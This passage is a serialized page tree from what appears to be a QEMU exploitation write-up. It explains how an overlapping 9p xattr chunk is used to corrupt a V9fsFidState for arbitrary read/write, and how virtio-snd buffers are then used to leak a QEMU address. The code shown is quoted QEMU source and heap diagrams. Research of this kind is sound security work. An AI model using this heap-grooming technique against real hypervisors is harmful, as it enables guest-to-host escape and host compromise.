":129000,"children":129001},{"style":338},[129002],{"type":28,"value":127782},{"type":23,"tag":314,"props":129004,"children":129005},{"class":316,"line":1539},[129006],{"type":23,"tag":314,"props":129007,"children":129008},{"emptyLinePlaceholder":18},[129009],{"type":28,"value":1088},{"type":23,"tag":314,"props":129011,"children":129012},{"class":316,"line":1548},[129013],{"type":23,"tag":314,"props":129014,"children":129015},{"style":338},[129016],{"type":28,"value":104053},{"type":23,"tag":24,"props":129018,"children":129019},{},[129020,129022,129028,129030,129035,129036,129041,129043,129048,129050,129056,129057,129063,129065,129070,129071,129076],{"type":28,"value":129021},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":94,"props":129023,"children":129025},{"className":129024},[],[129026],{"type":28,"value":129027},"V9fsFidState",{"type":28,"value":129029}," object. In other words, if we can place a ",{"type":23,"tag":94,"props":129031,"children":129033},{"className":129032},[],[129034],{"type":28,"value":129027},{"type":28,"value":6577},{"type":23,"tag":94,"props":129037,"children":129039},{"className":129038},[],[129040],{"type":28,"value":128596},{"type":28,"value":129042}," currently sits, the overlapping ",{"type":23,"tag":94,"props":129044,"children":129046},{"className":129045},[],[129047],{"type":28,"value":128604},{"type":28,"value":129049}," chunk can overwrite ",{"type":23,"tag":94,"props":129051,"children":129053},{"className":129052},[],[129054],{"type":28,"value":129055},"V9fsFidState.fs.xattr.value",{"type":28,"value":557},{"type":23,"tag":94,"props":129058,"children":129060},{"className":129059},[],[129061],{"type":28,"value":129062},"V9fsFidState.fs.xattr.len",{"type":28,"value":129064},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":94,"props":129066,"children":129068},{"className":129067},[],[129069],{"type":28,"value":127858},{"type":28,"value":557},{"type":23,"tag":94,"props":129072,"children":129074},{"className":129073},[],[129075],{"type":28,"value":127850},{"type":28,"value":282},{"type":23,"tag":24,"props":129078,"children":129079},{},[129080,129082,129087,129088,129093,129095,129100,129102,129108,129110,129115,129117,129122,129124,129129,129131,129136,129138,129143],{"type":28,"value":129081},"At this point, ",{"type":23,"tag":94,"props":129083,"children":129085},{"className":129084},[],[129086],{"type":28,"value":128596},{"type":28,"value":14686},{"type":23,"tag":94,"props":129089,"children":129091},{"className":129090},[],[129092],{"type":28,"value":127065},{"type":28,"value":129094}," chunk, while ",{"type":23,"tag":94,"props":129096,"children":129098},{"className":129097},[],[129099],{"type":28,"value":129027},{"type":28,"value":129101}," falls into the ",{"type":23,"tag":94,"props":129103,"children":129105},{"className":129104},[],[129106],{"type":28,"value":129107},"0x120",{"type":28,"value":129109}," size class. Before freeing ",{"type":23,"tag":94,"props":129111,"children":129113},{"className":129112},[],[129114],{"type":28,"value":128596},{"type":28,"value":129116},", we therefore use the oversized ",{"type":23,"tag":94,"props":129118,"children":129120},{"className":129119},[],[129121],{"type":28,"value":128604},{"type":28,"value":129123}," chunk to change its size to match ",{"type":23,"tag":94,"props":129125,"children":129127},{"className":129126},[],[129128],{"type":28,"value":129027},{"type":28,"value":129130},". Once ",{"type":23,"tag":94,"props":129132,"children":129134},{"className":129133},[],[129135],{"type":28,"value":128596},{"type":28,"value":129137}," is freed, it is inserted into the ",{"type":23,"tag":94,"props":129139,"children":129141},{"className":129140},[],[129142],{"type":28,"value":129107},{"type":28,"value":129144}," tcache bin.",{"type":23,"tag":304,"props":129146,"children":129148},{"code":129147}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[129149],{"type":23,"tag":94,"props":129150,"children":129151},{"__ignoreMap":7},[129152],{"type":28,"value":129147},{"type":23,"tag":24,"props":129154,"children":129155},{},[129156,129158,129163,129165,129171,129173,129179,129181,129186],{"type":28,"value":129157},"After that, we can simply allocate a new ",{"type":23,"tag":94,"props":129159,"children":129161},{"className":129160},[],[129162],{"type":28,"value":129027},{"type":28,"value":129164}," with a ",{"type":23,"tag":94,"props":129166,"children":129168},{"className":129167},[],[129169],{"type":28,"value":129170},"P9_TWALK",{"type":28,"value":129172}," request and a fresh FID - this reaches ",{"type":23,"tag":94,"props":129174,"children":129176},{"className":129175},[],[129177],{"type":28,"value":129178},"alloc_fid",{"type":28,"value":129180},", which allocates a new ",{"type":23,"tag":94,"props":129182,"children":129184},{"className":129183},[],[129185],{"type":28,"value":129027},{"type":28,"value":3746},{"type":23,"tag":304,"props":129188,"children":129190},{"code":129189,"language":308,"meta":7,"className":306,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[129191],{"type":23,"tag":94,"props":129192,"children":129193},{"__ignoreMap":7},[129194,129234,129241,129257,129285,129292,129299,129306,129327,129334,129349,129371,129395,129416,129427,129434,129472,129514,129521,129528,129535,129542,129549,129600,129607,129622,129629,129677,129689,129697,129726,129741,129748,129777,129784],{"type":23,"tag":314,"props":129195,"children":129196},{"class":316,"line":317},[129197,129201,129205,129209,129214,129218,129222,129226,129230],{"type":23,"tag":314,"props":129198,"children":129199},{"style":321},[129200],{"type":28,"value":50295},{"type":23,"tag":314,"props":129202,"children":129203},{"style":321},[129204],{"type":28,"value":50300},{"type":23,"tag":314,"props":129206,"children":129207},{"style":338},[129208],{"type":28,"value":127195},{"type":23,"tag":314,"props":129210,"children":129211},{"style":332},[129212],{"type":28,"value":129213},"v9fs_walk",{"type":23,"tag":314,"props":129215,"children":129216},{"style":338},[129217],{"type":28,"value":341},{"type":23,"tag":314,"props":129219,"children":129220},{"style":321},[129221],{"type":28,"value":50878},{"type":23,"tag":314,"props":129223,"children":129224},{"style":354},[129225],{"type":28,"value":357},{"type":23,"tag":314,"props":129227,"children":129228},{"style":360},[129229],{"type":28,"value":127217},{"type":23,"tag":314,"props":129231,"children":129232},{"style":338},[129233],{"type":28,"value":2414},{"type":23,"tag":314,"props":129235,"children":129236},{"class":316,"line":370},[129237],{"type":23,"tag":314,"props":129238,"children":129239},{"style":338},[129240],{"type":28,"value":10129},{"type":23,"tag":314,"props":129242,"children":129243},{"class":316,"line":380},[129244,129248,129252],{"type":23,"tag":314,"props":129245,"children":129246},{"style":338},[129247],{"type":28,"value":127342},{"type":23,"tag":314,"props":129249,"children":129250},{"style":354},[129251],{"type":28,"value":256},{"type":23,"tag":314,"props":129253,"children":129254},{"style":338},[129255],{"type":28,"value":129256},"fidp;\n",{"type":23,"tag":314,"props":129258,"children":129259},{"class":316,"line":1091},[129260,129264,129268,129273,129277,129281],{"type":23,"tag":314,"props":129261,"children":129262},{"style":338},[129263],{"type":28,"value":127342},{"type":23,"tag":314,"props":129265,"children":129266},{"style":354},[129267],{"type":28,"value":256},{"type":23,"tag":314,"props":129269,"children":129270},{"style":338},[129271],{"type":28,"value":129272},"newfidp ",{"type":23,"tag":314,"props":129274,"children":129275},{"style":354},[129276],{"type":28,"value":1102},{"type":23,"tag":314,"props":129278,"children":129279},{"style":321},[129280],{"type":28,"value":127021},{"type":23,"tag":314,"props":129282,"children":129283},{"style":338},[129284],{"type":28,"value":2278},{"type":23,"tag":314,"props":129286,"children":129287},{"class":316,"line":1141},[129288],{"type":23,"tag":314,"props":129289,"children":129290},{"emptyLinePlaceholder":18},[129291],{"type":28,"value":1088},{"type":23,"tag":314,"props":129293,"children":129294},{"class":316,"line":1173},[129295],{"type":23,"tag":314,"props":129296,"children":129297},{"style":338},[129298],{"type":28,"value":104053},{"type":23,"tag":314,"props":129300,"children":129301},{"class":316,"line":1208},[129302],{"type":23,"tag":314,"props":129303,"children":129304},{"emptyLinePlaceholder":18},[129305],{"type":28,"value":1088},{"type":23,"tag":314,"props":129307,"children":129308},{"class":316,"line":1216},[129309,129313,129318,129322],{"type":23,"tag":314,"props":129310,"children":129311},{"style":2284},[129312],{"type":28,"value":11527},{"type":23,"tag":314,"props":129314,"children":129315},{"style":338},[129316],{"type":28,"value":129317}," (fid ",{"type":23,"tag":314,"props":129319,"children":129320},{"style":354},[129321],{"type":28,"value":7828},{"type":23,"tag":314,"props":129323,"children":129324},{"style":338},[129325],{"type":28,"value":129326}," newfid) {\n",{"type":23,"tag":314,"props":129328,"children":129329},{"class":316,"line":1301},[129330],{"type":23,"tag":314,"props":129331,"children":129332},{"style":338},[129333],{"type":28,"value":123291},{"type":23,"tag":314,"props":129335,"children":129336},{"class":316,"line":1343},[129337,129341,129345],{"type":23,"tag":314,"props":129338,"children":129339},{"style":338},[129340],{"type":28,"value":15020},{"type":23,"tag":314,"props":129342,"children":129343},{"style":2284},[129344],{"type":28,"value":2570},{"type":23,"tag":314,"props":129346,"children":129347},{"style":338},[129348],{"type":28,"value":1449},{"type":23,"tag":314,"props":129350,"children":129351},{"class":316,"line":1351},[129352,129357,129361,129366],{"type":23,"tag":314,"props":129353,"children":129354},{"style":338},[129355],{"type":28,"value":129356}," newfidp ",{"type":23,"tag":314,"props":129358,"children":129359},{"style":354},[129360],{"type":28,"value":1102},{"type":23,"tag":314,"props":129362,"children":129363},{"style":332},[129364],{"type":28,"value":129365}," alloc_fid",{"type":23,"tag":314,"props":129367,"children":129368},{"style":338},[129369],{"type":28,"value":129370},"(s, newfid);\n",{"type":23,"tag":314,"props":129372,"children":129373},{"class":316,"line":1387},[129374,129378,129383,129387,129391],{"type":23,"tag":314,"props":129375,"children":129376},{"style":2284},[129377],{"type":28,"value":2527},{"type":23,"tag":314,"props":129379,"children":129380},{"style":338},[129381],{"type":28,"value":129382}," (newfidp ",{"type":23,"tag":314,"props":129384,"children":129385},{"style":354},[129386],{"type":28,"value":7828},{"type":23,"tag":314,"props":129388,"children":129389},{"style":321},[129390],{"type":28,"value":127021},{"type":23,"tag":314,"props":129392,"children":129393},{"style":338},[129394],{"type":28,"value":367},{"type":23,"tag":314,"props":129396,"children":129397},{"class":316,"line":1422},[129398,129403,129407,129411],{"type":23,"tag":314,"props":129399,"children":129400},{"style":338},[129401],{"type":28,"value":129402}," err ",{"type":23,"tag":314,"props":129404,"children":129405},{"style":354},[129406],{"type":28,"value":1102},{"type":23,"tag":314,"props":129408,"children":129409},{"style":354},[129410],{"type":28,"value":50506},{"type":23,"tag":314,"props":129412,"children":129413},{"style":338},[129414],{"type":28,"value":129415},"EINVAL;\n",{"type":23,"tag":314,"props":129417,"children":129418},{"class":316,"line":1430},[129419,129423],{"type":23,"tag":314,"props":129420,"children":129421},{"style":2284},[129422],{"type":28,"value":59801},{"type":23,"tag":314,"props":129424,"children":129425},{"style":338},[129426],{"type":28,"value":59806},{"type":23,"tag":314,"props":129428,"children":129429},{"class":316,"line":1452},[129430],{"type":23,"tag":314,"props":129431,"children":129432},{"style":338},[129433],{"type":28,"value":2602},{"type":23,"tag":314,"props":129435,"children":129436},{"class":316,"line":1497},[129437,129442,129446,129451,129455,129460,129464,129468],{"type":23,"tag":314,"props":129438,"children":129439},{"style":360},[129440],{"type":28,"value":129441}," newfidp",{"type":23,"tag":314,"props":129443,"children":129444},{"style":338},[129445],{"type":28,"value":1015},{"type":23,"tag":314,"props":129447,"children":129448},{"style":360},[129449],{"type":28,"value":129450},"uid",{"type":23,"tag":314,"props":129452,"children":129453},{"style":354},[129454],{"type":28,"value":1237},{"type":23,"tag":314,"props":129456,"children":129457},{"style":360},[129458],{"type":28,"value":129459}," fidp",{"type":23,"tag":314,"props":129461,"children":129462},{"style":338},[129463],{"type":28,"value":1015},{"type":23,"tag":314,"props":129465,"children":129466},{"style":360},[129467],{"type":28,"value":129450},{"type":23,"tag":314,"props":129469,"children":129470},{"style":338},[129471],{"type":28,"value":2278},{"type":23,"tag":314,"props":129473,"children":129474},{"class":316,"line":1539},[129475,129480,129484,129488,129493,129497,129501,129505,129509],{"type":23,"tag":314,"props":129476,"children":129477},{"style":332},[129478],{"type":28,"value":129479}," v9fs_path_copy",{"type":23,"tag":314,"props":129481,"children":129482},{"style":338},[129483],{"type":28,"value":341},{"type":23,"tag":314,"props":129485,"children":129486},{"style":354},[129487],{"type":28,"value":1833},{"type":23,"tag":314,"props":129489,"children":129490},{"style":360},[129491],{"type":28,"value":129492},"newfidp",{"type":23,"tag":314,"props":129494,"children":129495},{"style":338},[129496],{"type":28,"value":1015},{"type":23,"tag":314,"props":129498,"children":129499},{"style":360},[129500],{"type":28,"value":111576},{"type":23,"tag":314,"props":129502,"children":129503},{"style":338},[129504],{"type":28,"value":778},{"type":23,"tag":314,"props":129506,"children":129507},{"style":354},[129508],{"type":28,"value":1833},{"type":23,"tag":314,"props":129510,"children":129511},{"style":338},[129512],{"type":28,"value":129513},"path);\n",{"type":23,"tag":314,"props":129515,"children":129516},{"class":316,"line":1548},[129517],{"type":23,"tag":314,"props":129518,"children":129519},{"style":338},[129520],{"type":28,"value":2610},{"type":23,"tag":314,"props":129522,"children":129523},{"class":316,"line":1584},[129524],{"type":23,"tag":314,"props":129525,"children":129526},{"emptyLinePlaceholder":18},[129527],{"type":28,"value":1088},{"type":23,"tag":314,"props":129529,"children":129530},{"class":316,"line":1617},[129531],{"type":23,"tag":314,"props":129532,"children":129533},{"style":338},[129534],{"type":28,"value":104053},{"type":23,"tag":314,"props":129536,"children":129537},{"class":316,"line":1625},[129538],{"type":23,"tag":314,"props":129539,"children":129540},{"style":338},[129541],{"type":28,"value":386},{"type":23,"tag":314,"props":129543,"children":129544},{"class":316,"line":1660},[129545],{"type":23,"tag":314,"props":129546,"children":129547},{"emptyLinePlaceholder":18},[129548],{"type":28,"value":1088},{"type":23,"tag":314,"props":129550,"children":129551},{"class":316,"line":1708},[129552,129556,129561,129565,129569,129574,129578,129582,129586,129591,129596],{"type":23,"tag":314,"props":129553,"children":129554},{"style":321},[129555],{"type":28,"value":50295},{"type":23,"tag":314,"props":129557,"children":129558},{"style":338},[129559],{"type":28,"value":129560}," V9fsFidState ",{"type":23,"tag":314,"props":129562,"children":129563},{"style":354},[129564],{"type":28,"value":256},{"type":23,"tag":314,"props":129566,"children":129567},{"style":332},[129568],{"type":28,"value":129178},{"type":23,"tag":314,"props":129570,"children":129571},{"style":338},[129572],{"type":28,"value":129573},"(V9fsState ",{"type":23,"tag":314,"props":129575,"children":129576},{"style":354},[129577],{"type":28,"value":256},{"type":23,"tag":314,"props":129579,"children":129580},{"style":360},[129581],{"type":28,"value":9900},{"type":23,"tag":314,"props":129583,"children":129584},{"style":338},[129585],{"type":28,"value":778},{"type":23,"tag":314,"props":129587,"children":129588},{"style":321},[129589],{"type":28,"value":129590},"int32_t",{"type":23,"tag":314,"props":129592,"children":129593},{"style":360},[129594],{"type":28,"value":129595}," fid",{"type":23,"tag":314,"props":129597,"children":129598},{"style":338},[129599],{"type":28,"value":2414},{"type":23,"tag":314,"props":129601,"children":129602},{"class":316,"line":1743},[129603],{"type":23,"tag":314,"props":129604,"children":129605},{"style":338},[129606],{"type":28,"value":10129},{"type":23,"tag":314,"props":129608,"children":129609},{"class":316,"line":1751},[129610,129614,129618],{"type":23,"tag":314,"props":129611,"children":129612},{"style":338},[129613],{"type":28,"value":127342},{"type":23,"tag":314,"props":129615,"children":129616},{"style":354},[129617],{"type":28,"value":256},{"type":23,"tag":314,"props":129619,"children":129620},{"style":338},[129621],{"type":28,"value":50416},{"type":23,"tag":314,"props":129623,"children":129624},{"class":316,"line":1791},[129625],{"type":23,"tag":314,"props":129626,"children":129627},{"emptyLinePlaceholder":18},[129628],{"type":28,"value":1088},{"type":23,"tag":314,"props":129630,"children":129631},{"class":316,"line":1805},[129632,129637,129641,129646,129650,129654,129658,129663,129667,129672],{"type":23,"tag":314,"props":129633,"children":129634},{"style":338},[129635],{"type":28,"value":129636}," f ",{"type":23,"tag":314,"props":129638,"children":129639},{"style":354},[129640],{"type":28,"value":1102},{"type":23,"tag":314,"props":129642,"children":129643},{"style":332},[129644],{"type":28,"value":129645}," g_hash_table_lookup",{"type":23,"tag":314,"props":129647,"children":129648},{"style":338},[129649],{"type":28,"value":341},{"type":23,"tag":314,"props":129651,"children":129652},{"style":360},[129653],{"type":28,"value":9900},{"type":23,"tag":314,"props":129655,"children":129656},{"style":338},[129657],{"type":28,"value":1015},{"type":23,"tag":314,"props":129659,"children":129660},{"style":360},[129661],{"type":28,"value":129662},"fids",{"type":23,"tag":314,"props":129664,"children":129665},{"style":338},[129666],{"type":28,"value":778},{"type":23,"tag":314,"props":129668,"children":129669},{"style":332},[129670],{"type":28,"value":129671},"GINT_TO_POINTER",{"type":23,"tag":314,"props":129673,"children":129674},{"style":338},[129675],{"type":28,"value":129676},"(fid));\n",{"type":23,"tag":314,"props":129678,"children":129679},{"class":316,"line":1818},[129680,129684],{"type":23,"tag":314,"props":129681,"children":129682},{"style":2284},[129683],{"type":28,"value":11527},{"type":23,"tag":314,"props":129685,"children":129686},{"style":338},[129687],{"type":28,"value":129688}," (f) {\n",{"type":23,"tag":314,"props":129690,"children":129691},{"class":316,"line":1873},[129692],{"type":23,"tag":314,"props":129693,"children":129694},{"style":374},[129695],{"type":28,"value":129696}," /* If fid is already there return NULL */\n",{"type":23,"tag":314,"props":129698,"children":129699},{"class":316,"line":1891},[129700,129705,129709,129713,129717,129722],{"type":23,"tag":314,"props":129701,"children":129702},{"style":332},[129703],{"type":28,"value":129704}," BUG_ON",{"type":23,"tag":314,"props":129706,"children":129707},{"style":338},[129708],{"type":28,"value":341},{"type":23,"tag":314,"props":129710,"children":129711},{"style":360},[129712],{"type":28,"value":32333},{"type":23,"tag":314,"props":129714,"children":129715},{"style":338},[129716],{"type":28,"value":1015},{"type":23,"tag":314,"props":129718,"children":129719},{"style":360},[129720],{"type":28,"value":129721},"clunked",{"type":23,"tag":314,"props":129723,"children":129724},{"style":338},[129725],{"type":28,"value":1025},{"type":23,"tag":314,"props":129727,"children":129728},{"class":316,"line":1899},[129729,129733,129737],{"type":23,"tag":314,"props":129730,"children":129731},{"style":2284},[129732],{"type":28,"value":14985},{"type":23,"tag":314,"props":129734,"children":129735},{"style":321},[129736],{"type":28,"value":127021},{"type":23,"tag":314,"props":129738,"children":129739},{"style":338},[129740],{"type":28,"value":2278},{"type":23,"tag":314,"props":129742,"children":129743},{"class":316,"line":1944},[129744],{"type":23,"tag":314,"props":129745,"children":129746},{"style":338},[129747],{"type":28,"value":2610},{"type":23,"tag":314,"props":129749,"children":129750},{"class":316,"line":2008},[129751,129755,129759,129764,129769,129773],{"type":23,"tag":314,"props":129752,"children":129753},{"style":338},[129754],{"type":28,"value":129636},{"type":23,"tag":314,"props":129756,"children":129757},{"style":354},[129758],{"type":28,"value":1102},{"type":23,"tag":314,"props":129760,"children":129761},{"style":332},[129762],{"type":28,"value":129763}," g_new0",{"type":23,"tag":314,"props":129765,"children":129766},{"style":338},[129767],{"type":28,"value":129768},"(V9fsFidState, ",{"type":23,"tag":314,"props":129770,"children":129771},{"style":1054},[129772],{"type":28,"value":3267},{"type":23,"tag":314,"props":129774,"children":129775},{"style":338},[129776],{"type":28,"value":1025},{"type":23,"tag":314,"props":129778,"children":129779},{"class":316,"line":2043},[129780],{"type":23,"tag":314,"props":129781,"children":129782},{"emptyLinePlaceholder":18},[129783],{"type":28,"value":1088},{"type":23,"tag":314,"props":129785,"children":129786},{"class":316,"line":22803},[129787],{"type":23,"tag":314,"props":129788,"children":129789},{"style":338},[129790],{"type":28,"value":104053},{"type":23,"tag":24,"props":129792,"children":129793},{},[129794,129796,129801],{"type":28,"value":129795},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":94,"props":129797,"children":129799},{"className":129798},[],[129800],{"type":28,"value":128596},{"type":28,"value":127933},{"type":23,"tag":304,"props":129803,"children":129805},{"code":129804}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[129806],{"type":23,"tag":94,"props":129807,"children":129808},{"__ignoreMap":7},[129809],{"type":28,"value":129804},{"type":23,"tag":18130,"props":129811,"children":129813},{"id":129812},"leaking-a-qemu-address",[129814],{"type":28,"value":129815},"Leaking a QEMU Address",{"type":23,"tag":24,"props":129817,"children":129818},{},[129819],{"type":28,"value":129820},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":129822,"children":129823},{},[129824,129826,129831],{"type":28,"value":129825},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":94,"props":129827,"children":129829},{"className":129828},[],[129830],{"type":28,"value":123017},{"type":28,"value":3746},{"type":23,"tag":304,"props":129833,"children":129835},{"code":129834,"language":308,"meta":7,"className":306,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[129836],{"type":23,"tag":94,"props":129837,"children":129838},{"__ignoreMap":7},[129839,129882,129889,129920,129935,129950,129962,129975,129982,129989,129996,130007,130022,130029,130057,130076,130087,130094,130102,130139,130160,130172,130185,130198,130223,130235,130242,130280,130287,130294,130301,130332,130387,130399,130440,130463,130492,130519,130546,130578],{"type":23,"tag":314,"props":129840,"children":129841},{"class":316,"line":317},[129842,129846,129850,129854,129858,129862,129866,129870,129874,129878],{"type":23,"tag":314,"props":129843,"children":129844},{"style":321},[129845],{"type":28,"value":50295},{"type":23,"tag":314,"props":129847,"children":129848},{"style":321},[129849],{"type":28,"value":50300},{"type":23,"tag":314,"props":129851,"children":129852},{"style":332},[129853],{"type":28,"value":123096},{"type":23,"tag":314,"props":129855,"children":129856},{"style":338},[129857],{"type":28,"value":123101},{"type":23,"tag":314,"props":129859,"children":129860},{"style":354},[129861],{"type":28,"value":256},{"type":23,"tag":314,"props":129863,"children":129864},{"style":360},[129865],{"type":28,"value":123110},{"type":23,"tag":314,"props":129867,"children":129868},{"style":338},[129869],{"type":28,"value":123115},{"type":23,"tag":314,"props":129871,"children":129872},{"style":354},[129873],{"type":28,"value":256},{"type":23,"tag":314,"props":129875,"children":129876},{"style":360},[129877],{"type":28,"value":123124},{"type":23,"tag":314,"props":129879,"children":129880},{"style":338},[129881],{"type":28,"value":2414},{"type":23,"tag":314,"props":129883,"children":129884},{"class":316,"line":370},[129885],{"type":23,"tag":314,"props":129886,"children":129887},{"style":338},[129888],{"type":28,"value":10129},{"type":23,"tag":314,"props":129890,"children":129891},{"class":316,"line":380},[129892,129897,129901,129906,129910,129915],{"type":23,"tag":314,"props":129893,"children":129894},{"style":338},[129895],{"type":28,"value":129896}," VirtIOSound ",{"type":23,"tag":314,"props":129898,"children":129899},{"style":354},[129900],{"type":28,"value":256},{"type":23,"tag":314,"props":129902,"children":129903},{"style":338},[129904],{"type":28,"value":129905},"vsnd ",{"type":23,"tag":314,"props":129907,"children":129908},{"style":354},[129909],{"type":28,"value":1102},{"type":23,"tag":314,"props":129911,"children":129912},{"style":332},[129913],{"type":28,"value":129914}," VIRTIO_SND",{"type":23,"tag":314,"props":129916,"children":129917},{"style":338},[129918],{"type":28,"value":129919},"(vdev);\n",{"type":23,"tag":314,"props":129921,"children":129922},{"class":316,"line":1091},[129923,129927,129931],{"type":23,"tag":314,"props":129924,"children":129925},{"style":338},[129926],{"type":28,"value":124113},{"type":23,"tag":314,"props":129928,"children":129929},{"style":354},[129930],{"type":28,"value":256},{"type":23,"tag":314,"props":129932,"children":129933},{"style":338},[129934],{"type":28,"value":124122},{"type":23,"tag":314,"props":129936,"children":129937},{"class":316,"line":1141},[129938,129942,129946],{"type":23,"tag":314,"props":129939,"children":129940},{"style":338},[129941],{"type":28,"value":123143},{"type":23,"tag":314,"props":129943,"children":129944},{"style":354},[129945],{"type":28,"value":256},{"type":23,"tag":314,"props":129947,"children":129948},{"style":338},[129949],{"type":28,"value":123152},{"type":23,"tag":314,"props":129951,"children":129952},{"class":316,"line":1173},[129953,129957],{"type":23,"tag":314,"props":129954,"children":129955},{"style":321},[129956],{"type":28,"value":15805},{"type":23,"tag":314,"props":129958,"children":129959},{"style":338},[129960],{"type":28,"value":129961}," msg_sz, size;\n",{"type":23,"tag":314,"props":129963,"children":129964},{"class":316,"line":1208},[129965,129970],{"type":23,"tag":314,"props":129966,"children":129967},{"style":321},[129968],{"type":28,"value":129969}," uint32_t",{"type":23,"tag":314,"props":129971,"children":129972},{"style":338},[129973],{"type":28,"value":129974}," stream_id;\n",{"type":23,"tag":314,"props":129976,"children":129977},{"class":316,"line":1216},[129978],{"type":23,"tag":314,"props":129979,"children":129980},{"emptyLinePlaceholder":18},[129981],{"type":28,"value":1088},{"type":23,"tag":314,"props":129983,"children":129984},{"class":316,"line":1301},[129985],{"type":23,"tag":314,"props":129986,"children":129987},{"style":338},[129988],{"type":28,"value":104053},{"type":23,"tag":314,"props":129990,"children":129991},{"class":316,"line":1343},[129992],{"type":23,"tag":314,"props":129993,"children":129994},{"emptyLinePlaceholder":18},[129995],{"type":28,"value":1088},{"type":23,"tag":314,"props":129997,"children":129998},{"class":316,"line":1351},[129999,130003],{"type":23,"tag":314,"props":130000,"children":130001},{"style":2284},[130002],{"type":28,"value":2287},{"type":23,"tag":314,"props":130004,"children":130005},{"style":338},[130006],{"type":28,"value":123178},{"type":23,"tag":314,"props":130008,"children":130009},{"class":316,"line":1387},[130010,130014,130018],{"type":23,"tag":314,"props":130011,"children":130012},{"style":338},[130013],{"type":28,"value":123186},{"type":23,"tag":314,"props":130015,"children":130016},{"style":354},[130017],{"type":28,"value":256},{"type":23,"tag":314,"props":130019,"children":130020},{"style":338},[130021],{"type":28,"value":123195},{"type":23,"tag":314,"props":130023,"children":130024},{"class":316,"line":1422},[130025],{"type":23,"tag":314,"props":130026,"children":130027},{"emptyLinePlaceholder":18},[130028],{"type":28,"value":1088},{"type":23,"tag":314,"props":130030,"children":130031},{"class":316,"line":1430},[130032,130036,130040,130044,130048,130052],{"type":23,"tag":314,"props":130033,"children":130034},{"style":338},[130035],{"type":28,"value":123210},{"type":23,"tag":314,"props":130037,"children":130038},{"style":354},[130039],{"type":28,"value":1102},{"type":23,"tag":314,"props":130041,"children":130042},{"style":332},[130043],{"type":28,"value":123219},{"type":23,"tag":314,"props":130045,"children":130046},{"style":338},[130047],{"type":28,"value":123224},{"type":23,"tag":314,"props":130049,"children":130050},{"style":321},[130051],{"type":28,"value":1609},{"type":23,"tag":314,"props":130053,"children":130054},{"style":338},[130055],{"type":28,"value":130056},"(VirtQueueElement));\n",{"type":23,"tag":314,"props":130058,"children":130059},{"class":316,"line":1452},[130060,130064,130068,130072],{"type":23,"tag":314,"props":130061,"children":130062},{"style":2284},[130063],{"type":28,"value":2527},{"type":23,"tag":314,"props":130065,"children":130066},{"style":338},[130067],{"type":28,"value":2324},{"type":23,"tag":314,"props":130069,"children":130070},{"style":354},[130071],{"type":28,"value":19859},{"type":23,"tag":314,"props":130073,"children":130074},{"style":338},[130075],{"type":28,"value":123258},{"type":23,"tag":314,"props":130077,"children":130078},{"class":316,"line":1497},[130079,130083],{"type":23,"tag":314,"props":130080,"children":130081},{"style":2284},[130082],{"type":28,"value":2553},{"type":23,"tag":314,"props":130084,"children":130085},{"style":338},[130086],{"type":28,"value":2278},{"type":23,"tag":314,"props":130088,"children":130089},{"class":316,"line":1539},[130090],{"type":23,"tag":314,"props":130091,"children":130092},{"style":338},[130093],{"type":28,"value":2602},{"type":23,"tag":314,"props":130095,"children":130096},{"class":316,"line":1548},[130097],{"type":23,"tag":314,"props":130098,"children":130099},{"style":374},[130100],{"type":28,"value":130101}," /* get the message hdr object */\n",{"type":23,"tag":314,"props":130103,"children":130104},{"class":316,"line":1584},[130105,130110,130114,130119,130123,130127,130131,130135],{"type":23,"tag":314,"props":130106,"children":130107},{"style":338},[130108],{"type":28,"value":130109}," msg_sz ",{"type":23,"tag":314,"props":130111,"children":130112},{"style":354},[130113],{"type":28,"value":1102},{"type":23,"tag":314,"props":130115,"children":130116},{"style":332},[130117],{"type":28,"value":130118}," 